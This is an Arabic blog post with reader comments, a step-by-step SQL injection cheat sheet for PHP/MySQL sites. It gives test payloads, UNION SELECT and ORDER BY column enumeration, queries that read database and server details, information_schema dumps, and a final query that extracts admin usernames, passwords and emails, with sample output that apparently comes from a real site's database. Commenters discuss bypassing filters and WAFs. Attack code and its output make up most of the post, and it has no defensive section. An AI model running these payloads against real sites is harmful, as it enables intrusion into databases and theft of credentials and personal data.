SQL injection Cheat Sheet – Php/MySQL
الكاتب: صبري صالح | يوم: 10 يناير, 2013 | التعليقات: 13 | القراءات: - عدد المشاهدات 34٬215
[toc]
1. مقدمة
لا يخفى على أحد أهمية ثغرات حقن قواعد البيانات ومدى خطورتها على المواقع والتطبيقات و بالطبع على المعلومات. في هذا الموضوع لن اقوم بشرح مفاهيم ثغرات حقن القواعد وأنواعها بل سيكون بمثابة مراجعة سريعة على الخطوات العملية دون التعرض لأي مبادئ أو مفاهيم مما يؤكد أن هذا الموضوع لا يغنيك أبدا عن القراءة وفهم أصل وطبيعة هذا النوع من الثغرات. سنركز على حقن قواعد بيانات MySQL مع تطبيقات PHP.
سيكون بطل هذا الموضوع هو الرابط التالي :
http://Vulnerable-Site.ext/news_detail.php?id=9
[box style=”alert”]
أي تشابه في روابط أو مخرجات هذا الشرح مع أي موقع حقيقي هو بمحض الصدفة.
[/box]
[box style=”info”]
لمعرفة أخطر 10 ثغرات على تطبيقات الويب , الرجاء زيارة موقع OWASP و المهتم بكل ما يتعلق بحماية تطبيقات الويب بجيمع أنواعها.
[/box]
2. Test Vulnerability
ثغرات الحقن متنوعة ومختلفة في طبيعتها وطرق استغلالها لكنها تسري تحت نفس المبادئ. في الجدول التالي بعض الرموز المستخدمة للتأكد من وجود ثغرة في الموقع
[gn_table style=”1″]
‘ | “ | ‘” | ‘ or 1=1 | ‘ or 1=1– |
” or 1=1– | ‘ or 1=1– | ‘ or 1=1# | or 1=1/* | ‘or 1=1/* |
or 1=1;%00 | or a=a | ‘or a=a | or a=a– | or a=a# |
/**/’ | ‘or 1=1;%00 | “or 1=1;%00 | ‘)or(‘a’=’a’ | “)””a”=”a” |
‘or”=’ |
[/gn_table]
في حالة تنفيذ إحدى الرموز السابقة وظهر لك خطأ في قواعد البيانات -على سبيل المثال لا الحصر – كالتالي
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1 Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/listproducts.php on line 74
أو
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1
فإن احتمالية ان الموقع مصاب تصبح كبيرة و نسطيع التأكد بتجربة أكثر من رمز من الرموز الموضحة في الجدول اعلاه
3. Enumeration
لنسهل الأمر على أنفسنا, دعنا نطرح السؤال التالي:
ما هي البيانات اللتي نحتاجها أو الممكن جمعها من هذه الثغرة؟
الإجابة, في الفقرات التالية
3.1. Database type
أسهل طريقة لمعرفة نوع قاعدة البيانات هو عن طريق الخطأ الذي يظهر عن اختبار الثغرة فمثلا
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1
يتضح لنا أن قاعدة البيانات هي MySQL
مثال أخر
Microsoft SQL Native Client error ‘80040e14’
Unclosed quotation mark after the character string ”.
/showforum.asp, line 9
ظهر أن قاعدة البيانات هي MSSQL او Microsoft SQL server
مثال أخر
ORA-01756: quoted string not properly terminated
وهنا قاعدة البيانات هي Oracle
هناك اختلافات في طريقة حقن القواعد بين قاعدة وأخرى وكما ذكرنا موضوعنا هذا سيكون على قواعد بيانات MySQL مع تطبيقات PHP حيث الأكثر استخداما معاً.
3.2. Enumerate number of columns in the database’s table
الأن نريد أن نعرف عدد الأعمدة في جداول قاعدة البيانات الحالية , بحكم أننا لا نعرف عدد الأعمدة بالظبط فإننا سنقوم بإضافة مجموعة من العمليات التصاعدية/التنازلية حتى [gn_highlight bg=”#ff6042″ color=”#000000″]يختفي الخطأ[/gn_highlight] و الذي يدل على أن عدد أعمدة الجدول مختلف -بالنقص أو الزيادة- عن العدد الذي طلبته عن طريق الاستعلام.
مثال لشكل الخطأ
The used SELECT statements have a different number of columns
هناك عدة طرق وسنذكر منها
- باستخدام الأرقام مع UNION SELECT
بحكم أننا لا نعرف عدد الأعمدة فإننا سنقوم بإضافة مجموعة من الأرقام التصاعدية حتى يختفي الخطأ و الذي يدل على أن للأعمدة عدد مختلف عن الذي طلبته
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT 1,2,3,4,5#
ظهر لنا خطأ!
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT 1,2,3,4,5,6#
ظهر لنا خطأ!
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT 1,2,3,4,5,6,7#
ذهب الخطأ وظهرت لنا صفحة الموقع!
- باستخدام NULL مع UNION SELECT
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT NULL,NULL,NULL,NULL,NULL
ظهر لنا خطأ! سنستمر في زيادة عدد الـ NULL حتى يخفتي الخطأ
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL
ظهر لنا خطأ!
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL
ذهب الخطأ وظهرت لنا صفحة الموقع!
- باستخدام الأرقام مع ORDER BY – أنصح بهذه الطريقة
http://Vulnerable-Site.ext/news_detail.php?id=9 ORDER BY 20
ظهر لنا خطأ! سنستمر في إنقاص العدد حتى يخفتي الخطأ
http://Vulnerable-Site.ext/news_detail.php?id=9 ORDER BY 8
ظهر لنا خطأ!
http://Vulnerable-Site.ext/news_detail.php?id=9 ORDER BY 7
ذهب الخطأ وظهرت لنا صفحة الموقع!
إذناً نستنج أن عدد الأعمدة هو 7 أعمدة
[box style=”tip”]
جرب إضافة علامة الناقص مرتين متتابعتين بدون مسافات “–” أو الناقص مرتين متتابعتين بدون مسافا تتبعها واحدة إضافية قبلها مسافه “– -” أو “#” أو “/**/” في نهاية الاستعلام
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT 1,2,3,4,5,6,7--
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION SELECT 1,2,3,4,5,6,7-- -
http://Vulnerable-Site.ext/news_detail.php?id=9 order by 7#
[/box]
[box style=”tip”]
استخدمنا UNION SELECT , جرب أيضا مخرجات UNION ALL SELECT في ما طبقناه سابقا وما سنطبقه لاحقا وقارن المخرجات ,,
http://Vulnerable-Site.ext/news_detail.php?id=9 UNION ALL SELECT 1,2,3,4,5,6,7--
[/box]
[box style=”info”]
زيادة الأعداد أو NULLs بناء على بدايتك فإذا وضعت في البداية عدد قليل مثل 1 فابدأ بزيادتها, وإذا بدأت بعدد كبير مثل 50 فابدأ بإنقاصها.
[/box]
3.3. Enumerate Vulnerable column(s)
بعد أن عرفنا عدد الأعمدة بالظبط, نريد أن نعرف العامود/الأعمدة المصابة والتي يمكن أن نحقن استعالاماتنا فيها للتفاعل مع القواعد بالطريقة التالية
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,3,4,5,6,7--
[box style=”alert”]
لاحظ علامة ” – ” قبل المتغير. لا تنسى وضعها فسترافقنا إلى النهاية!.
[/box]
الأن دقق في الصفحة جيدا سيظهر لك رقم أو عدة أرقام مختلفة في أماكن مختلفة من الصفحة
شكل الصفحة بعد تطبيق الاستعلام
[box style=”tip”]
ليس كل المواقع تظهر فيها الأرقام بهذا الوضوح, ابحث جيدا في الصفحة فقط تكون في الـHeader أو الـ Footer أو في Sidebar
[/box]
نستنتج أن الأعمدة المصابة هي 2 و 3 و 5 و 7
3.4. Enumerate Database version
هناك طريقتين لإظهار إصدار قاعدة البيانات
- باستخدام VERSION()
- باستخدام VERSION@@
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,version(),4,5,6,7--
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,@@version,4,5,6,7--
[gn_label style=”success”]المـخـرجـات[/gn_label]
5.0.51b-community-nt-log
3.5. Enumerate Database name
اسم قاعدة البيانات الحالية التي نعمل عليها
- باستخدام DATABASE()
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,DATABASE(),4,5,6,7--
[gn_label style=”success”]المـخـرجـات[/gn_label]
nilakantatrust
3.6. Enumerate Database user
اسم المستخدم لقاعدة البيانات الحالية التي نعمل عليها
- باستخدام USER()
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,USER(),4,5,6,7--
[gn_label style=”success”]المـخـرجـات[/gn_label]
[box style=”info”]
ومن هنا نسنتج أيضا أن القاعدة على نفس الخادم وليس خادم أخر
[/box]
3.7. Enumerate server hostname
اسم الخادم الذي يعمل عليه الموقع
- باستخدام @@HOSTNAME
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,@@HOSTNAME,4,5,6,7--
[gn_label style=”success”]المـخـرجـات[/gn_label]
winvserv1
[box style=”info”]
– قد لا يظهر لنا مسح الخادم باستخدام الـ nmap نوع الخادم لكننا استفدنا من اسم الخادم أنه Windows server
– بعض الأحيان يكون الموقع يعمل على أكثر من خادم كـ Load balancing قد يكشف لكن الإسم ذلك ولسنا بصدد تفاصيل هذا
[/box]
3.8. Enumerate server MAC address
استخراج الـ MAC address للخادم.
- باستخدام UUID()
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,UUID(),4,5,6,7--
[gn_label style=”success”]المـخـرجـات[/gn_label]
70cc11f4-5984-11e2-bbf9-001c4239ab0a
3.9. Enumerate All Together
نجمع جميع ما سبق في استعلام واحد!
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,CONCAT_WS(CHAR(32,58,32),HOSTNAME(),USER(),DATABASE(),VERSION()),4,5,6,7--
[gn_label style=”success”]المـخـرجـات[/gn_label]
[email protected] : nilakantatrust : 5.0.51b-community-nt-log
[box style=”alert”]
– ليس بالضرورة أن تعمل معك كل الدوال السابقة وغيرها, على سبيل المثال قد لا تعمل معك دالة HOSTNAME() أو UUID() فلا تقلق فنحن دائما نحاول جمع أكبر قدر من المعلومات.
– بعض المعلومات قد لا تفيدك بشكل مباشر لكنها قد تكون مؤشر إلى شئ آخر كـ صلاحيات هذا المستخدم على قاعدة أو قواعدة البيانات مثلا.
[/box]
4. Exploiting / Extracting
وكالعادة, قبل أن نبدأ في خطوة نسأل أنفسنا ماذا نريد من هذه الخطوة؟
4.1. List all databases
نعرض جميع قواعد البيانات الموجودة. حقن [gn_highlight bg=”#B2B2B2″ color=”#000000″]GROUP_CONCAT(schema_name)[/gn_highlight] مع [gn_highlight bg=”#B2B2B2″ color=”#000000″]from information_chema.schemata[/gn_highlight] ستعرض لنا جميع قواعد البيانات المستخدمة من خلال التطبيق.
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(schema_name),4,5,6,7 from information_schema.schemata--
[gn_label style=”success”]المـخـرجـات[/gn_label]
information_schema,nilakantatrust
4.2. Extracting tables from the database
[gn_label style=”default”]استخراج الجداول من القاعدة الحالية[/gn_label]
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()--
[gn_label style=”success”]المـخـرجـات[/gn_label]
est_achievement,est_admin,est_adminlog,est_companyrecord,est_facprofile,est_news,est_notice,est_onlineapplication,est_placementrecord
هناك طريقتين أخراتين لعرض جميع جميع الجداول سأعرضهم بسرعة
[gn_label style=”default”]استخراج جميع الجداول –> 1 [/gn_label]
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables--
[gn_label style=”default”]استخراج جميع الجداول –> 2 [/gn_label]
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where version=10;
[gn_label style=”success”]المـخـرجـات[/gn_label]
st_adminlog,est_companyrecord,est_facp etc est_achievement,est_admin,est_adminlog, est_companyrecord,est_facprofile,est_news,est_notice,est_onlineapplication,est_placementrecord
[box style=”green”]
يتم إسناد القيم بناء على إصدار الـ MySQL. القيمة 10 للإصدارات 5 و القيمة 9 للإصدارات 4
version=10 for MySQL v5
version=9 for MySQL v4
[/box]
[box style=”red”]
لاحظ أننا حصلنا على جدول مهم , est_admin
[/box]
4.3. Extracting columns from the tables
استخراج الأعمدة من الجداول ولها طريقتين
[gn_label style=”default”]1- Extracting from all tables[/gn_label]
استخراج أعمدة جميع الجداول في القاعدة الحالية
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_schema=database()--
[gn_label style=”success”]المـخـرجـات[/gn_label]
ach_id,ach_title,ach_detail,ach_type,ach_date,ach_status,ach_pdf,uid,userid,password,emailid,signature,last_login,
uid,ipaddress,act_date,module,action,description,c_snum,c_name,c_photo,fac_snum,fac_name,fac_designation,fac_dept,fac_qualification,
fac_email,fac_phone,fac_residence,fac_photo,fac_experience,
fac_publication,fac_uid,fac_pwd,news_id,news_title,news_detail,
news_type,news_date,news_status,news_pdf,notice_id,notice_title,
notice_detail,notice_type,notice_date,notice_status,sno,trade,name,
sex,dob,nri,laddress,paddress,email,pin,phone,mobile,caste,pname,
prelation,poccupation,pincome,pphone,pmobile,pemail,lname,lrelation,
loccupation,lincome,lphone,lmobile,lemail,marksheet,status,date,snum,
sname,batch,branch,company,s_photo
[gn_label style=”default”]2- Extracting from specific table[/gn_label]
استخراج اعمدة جدول معين
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name=est_admin--
[gn_label style=”success”]المـخـرجـات[/gn_label]
بهذا الشكل سيخرج لك خطأ ولن تحصل على معلومة. لهذا يجب عليك أن تحول ترميز اسم الجدول إلى Hex وأسهل طريقة لهذا هو عن طريق إضافة HackBar في الفاير الفايرفوكس هكذا
Encoding >> HEX encoding >> String to 00ff00ff
نضع اسم الجدول وفي حالتنا اسمه “est_admin” سيخرج لنا القيمة “6573745f61646d696e”. نأخذ القيمة الجديدة ونضع قبلها “0x“ ثم نضعها في مكان اسم الجدول كالتالي
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name=0x6573745f61646d696e--
[gn_label style=”success”]المـخـرجـات[/gn_label]
uid,userid,password,emailid,signature,last_login
4.4. Extracting information from the columns
الأن دعنا نعرض جميع المستخدمين مع كلمات المرور و بريدهم الإلكتروني
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(userid,password,emailid),4,5,6,7 from est_admin--
[box style=”info”]
القيمة ” 0x3a ” تعني العلامة ” : ” وهنا نستخدما لتحسين عرض البيانات
[/box]
[box style=”tip”]
جرب ان تنفذ الاستعلام بالطريقة التالية
http://Vulnerable-Site.ext/news_detail.php?id=-9 UNION SELECT 1,2,group_concat(userid,0x3a,password,0x3a,emailid),4,5,6,7 from est_admin--
[/box]
[gn_label style=”success”]المـخـرجـات[/gn_label]
user1:User1Password:[email protected]
user2:User2Password:[email protected]
.
.
userX:UserXPassword:[email protected]
[box style=”info”]
أخيرا وليس آخرا, هذا الموضوع قابل للتحديث كلما سمح الوقت والجهد, كما أن الإضافات على الموضوع مرحب بها.
[/box]
المهندس صبري صالح. مهندس حماية شبكات و أنظمة و فحصها معالجة و تحليل الأحداث الأمنية و المسؤول عن تطبيق معايير الـ ISO 27001 , يعمل في بيئات متعددة المنصات. حاصل على عدة شهادات تقنية.
التعليقات:
اترك تعليقاً | عدد التعليقات: (13)
الله يعطيك ألف عافية أخي صبري … ما شاء الله شغل ولا أروع … كالعادة لا تكتب إلا مواضيع روعة بصراحة وكلها طويلة للغاية 🙂
سأقوم بإضافتها الى قائمة المراجع لطلابي بدون أدنى شك … شكراً لك والله يوفقك إن شاء الله …
تسلم يا دكتور, والحمدلله إن الموضوع عجبك مع أني ما حطيت فيه جزئين قويين لأني مالقيت وقت
حياك الله أنت وطلابك 🙂
ابداع يا صبري تسلم ايدك يا صديقي. احد افضل المواضيع في الموقع.
موضوع مفيد جدا… محتاج lab حتى نجرب كل الامثلة .. شكرا صبري
هل جربت ان تستعمل id=(1-1 ) لتجنب blacklisting لل special char ؟
نعم أخي ,, هناك فقرة لم أجد وقت لكتابتها وهي Sanitization and WAF bypass.
شكرا لإضافتك
شكرا استاذ موضوع جميل
اخي شكرا لك على الموضوع الرائع صراحة فالموضوع متعوب عليه اخي فقط طلب ان امكن ان تكمل فقرة Sanitization and WAF bypass لانها الفقرة الوحيدة التي وجدت صعوبة في استيعابها ولك مني اخي جزيل الشكر والتقدير
مشكووووووووووووووووور بس ياريت مساعدة في ثغرات asp.net
لو ممكن حضرتك تعطينا بعض المصادر للاستزاده
السلام عليكم أخي
أدخل هنا و اختر الدي تريد فكل شئ راح تجده هنا
https://www.youtube.com/user/Nourelhoda2011/playlists
و شكرا
ممكن ترسل لي فيديو توضيحي يا اخ انا لم اعرف كيف اجرب الرموز
وانا اول مرة ادرس عن الثغرات
https://www.sec-4-it.com/2020/05/injection-attacks.html
لو حد اكتشف ثغره من دول هيبقي اشهر واحد في مصر
طرق الانجيكشن اتاك موجوده هنا
Injection Attacks